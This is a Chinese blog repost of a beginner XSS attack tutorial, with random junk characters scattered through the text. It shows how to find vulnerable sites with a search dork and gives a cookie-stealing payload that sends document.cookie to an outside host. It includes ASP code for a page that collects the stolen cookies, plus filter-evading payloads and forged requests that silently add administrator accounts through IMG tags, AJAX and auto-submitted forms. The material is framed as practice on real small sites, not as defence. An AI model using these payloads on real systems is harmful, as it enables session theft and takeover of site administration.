前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为: ( _: {) K$ }- X, c2 A3 L9 B- }
@ b) Q; X1 h# o9 L
http://tieba.baidu.com/f?kz=10690072395 x5 T" T# H' F. D! H- Y! f7 h0 H
% j' ?- E9 @. H4 ?- d. K8 w这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。5 B: m! { ^: \' ~& r" H Y" d
5 G9 ?; F- ?. ?" m: a' d5 n但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
: |/ Q* `6 \; U' K: {
7 w3 @ U+ @3 Y# }8 m我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。3 ^& F6 ^; u" b8 X7 y$ W! [
2 n; H9 W7 t4 R4 B% U6 o- _
这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。* h. F' J( ? ]; C& I$ d! v
4 f% c \8 n% d9 U! q0 u1 V) w5 ~+ O
好了,废话不多说了,一起来看文章吧。
. k! ?8 c) K1 ^, y- _0 J
, {+ G% ?' k& Y1 V' \$ S2 c3 b-------------------------------------------------------------------' b+ V, K K8 H" o! m4 ]% x+ P
* R$ F8 S r, ~9 \- R首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。( |6 M* \8 s4 X2 {4 M
8 l7 i/ f# I4 c& S& l, c: _ ( g5 Q6 E7 g, W( f8 I# U' x
P7 U- h( I/ O8 X) d" G$ B0 @/ S4 n
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:2 p; p9 L( @% z% P( h
0 i# h$ v0 A( Z% A. x: c
& d' P$ @# R; a' D- O+ g
, I' L# H7 T7 Q" ?! H. Z" M5 u6 I这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是$ V) ~7 k( ^/ t+ z" R/ P" Y
1:让目标访问已跨站的网址,然后这个网址执行脚本9 s" g1 a( P( ?- _) f! ]& G
2:然后跳转到你已经写好专门用来收集Cookie的网址
+ t0 O& B) Y/ m* \: b' A
( f0 @6 X' R0 N* c具体实现方法:9 @7 B5 q2 ]$ Y9 ^$ u
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
& e" j) J+ \$ }* ]0 s这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。$ k6 \+ E. X8 o) k2 _
- `5 P1 _3 m. l这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
* p& _2 P8 A7 b; l7 e) G9 Q7 J. [- }6 L
<html>" Z5 u" P8 C2 x4 O: M) J' U4 d! U
<title>xx</title>; F. A0 z( C @; h& J+ i+ z
<body>
0 X, I7 w0 l/ c& y/ y8 E! l<%
+ L- T0 f; o$ Z! v! Htestfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中/ Z3 ^: u, h1 d/ k+ Y, V& q$ G
msg = Request("msg") //获取提交过来的msg变量,也就是cookie值7 v4 W# w q+ l6 Y
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象' H, F. X( X# C4 |6 \! {) I1 g
set thisfile = fs.OpenTextFile(testfile,8,True,0)7 c/ l) F* R5 b
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
& Y. P1 \0 @' w4 U: z/ Nthisfile.close //关闭
7 M0 |# K! R8 {" Z0 h" fset fs = nothing" e/ ^' x: E7 Z- }
%>) C+ F+ c3 z9 t% X6 P. O! B- G: T
</body>
& L( r: M; X! b8 P3 k7 [, a</html>- Q$ e4 K5 V4 O$ ]
' j" d4 c+ R& A4 l7 d& s' l
然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:8 n4 c9 K) S: W6 |$ y2 g% `
2 s% o% N3 h( q4 d* [) ]
+ Y+ j) G# c D: @' M
% H* V' j6 T; G: G7 E4 O# `8 c3 E( v1 H
拿出来看看,呵呵,Cookie到手:
, x" G! q5 W9 I# j# ^2 n0 t1 g- z3 g w* z# M9 J/ e7 H
$ \/ B0 I- D3 ^% e* f! W$ {) p" t' G9 P6 C
本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~
6 ?) Z x' I% n C/ P
i8 V& M% E3 I2 ]( DPS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。
- T! d' X2 c( E9 f8 ]( h4 L0 j' u, [* o' G
-------------------------------------------------------------------
$ z7 E5 D0 w1 Y1 G+ `0 C' n2 x0 ^
下面是我对这个帖子的回复,也一起贴过来吧:
1 ~0 Q" b s0 y3 X% H. O* c5 T* V; X
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。
/ u0 I5 m$ _5 D# a$ k( |
) V! x; M1 _& n( h( I但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
% s; c5 ~ ]0 K6 c% ^再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
- s1 S4 x1 a. E( v7 ] h( A5 J2 R& Y/ c
在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:( h8 ^) Z9 k, w. a4 X
9 U3 w4 `# O- ^* k
http://user.qzone.qq.com/673116767/blog/1252452536
4 f4 y7 z5 @, ~ Y
, X3 i( L# ~9 ~5 H* Y一般发现一个xss漏洞后要做的基本上就是这些:- G4 I2 f, b0 A/ D
' k7 ?$ u- V3 E6 t
1. 伪造请求 使用$_REQUEST或$_GET0 u5 g) W5 Y5 b, j
5 \* H* E: y- ^- B1 X* l6 l, y. g
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:9 H% i: Y. ~ y; Q. A. `0 r
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />6 ^" p* m4 H: |) u6 f% e
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。/ P$ L9 n4 z$ H1 Y% `: f' `( B; C
3 E( }0 U$ V2 S+ q
如果是可视文本编辑器,可以尝试使用输入:! }; ^' r3 `: Y l8 m- A& F0 D
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')! q. p) X+ u# L
这样最终会构造出:
' S% _. X4 F5 i( P. f<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
( F8 U$ ^, |/ U8 ]4 D& B总之要举一反三。
% C A0 |( ^" b
5 f4 v2 _7 `+ K) W t2. 伪造请求 使用$_POST' Y: M- k4 X3 @; B- x
0 h3 i& |0 t# V8 I
当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:
: g( V( J& Z3 d$ k<sc/*xss*/ript type="text/javascript">8 ?# g& c. F9 `( o" X" Q
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");% V& x# J- T5 `% m/ P1 V2 K/ t4 N6 S; @
aj.open("POST", "/admin/admin_add.asp", false); ^' \. t( p j* p% E
var postdata = 'name=xxx&psd=yyy';
: A( c0 Z r. jaj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
/ J/ H' c' o0 O( y$ M" f. m) Faj.send(postdata);" r& |9 x! R0 X: a1 m- O& f
</scr/*xss*/ipt>
* x1 ]2 k U' N+ @# J) ?/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。4 s5 R: S9 m* n8 o- @ |; R
0 u; ]- ~# H/ \+ D: o7 p* o3. 跨站伪造请求 使用$_GET 或 $_REQUEST$ }" x, J. A8 H8 h; O, C6 W9 W2 }+ `
& h- i( a* N- K' ]
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片) q% |# G% S1 \( ^$ e# s9 E
<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>
& j7 j8 V7 i2 a. P然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。: e } w9 g3 ~4 G
8 W' p. p% }) V9 O( T
4.跨站伪造请求 使用$_POST(0day)% C% s! G ~* P! l+ n" o E
3 U! k# H5 I5 C+ c+ Z如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
3 Z0 C4 [. A2 a0 [0 Y' F* s, V1 D4 n3 s/ }
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
* m& I. Y& n4 u( D3 A/ e1 i
}. I9 [; M7 b总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
0 H5 X5 n U0 |2 g5 i) _/ y/ d. \, o
OK,该说的都说完了,Over。
$ X% g5 } _9 u* O$ Z% g) \ |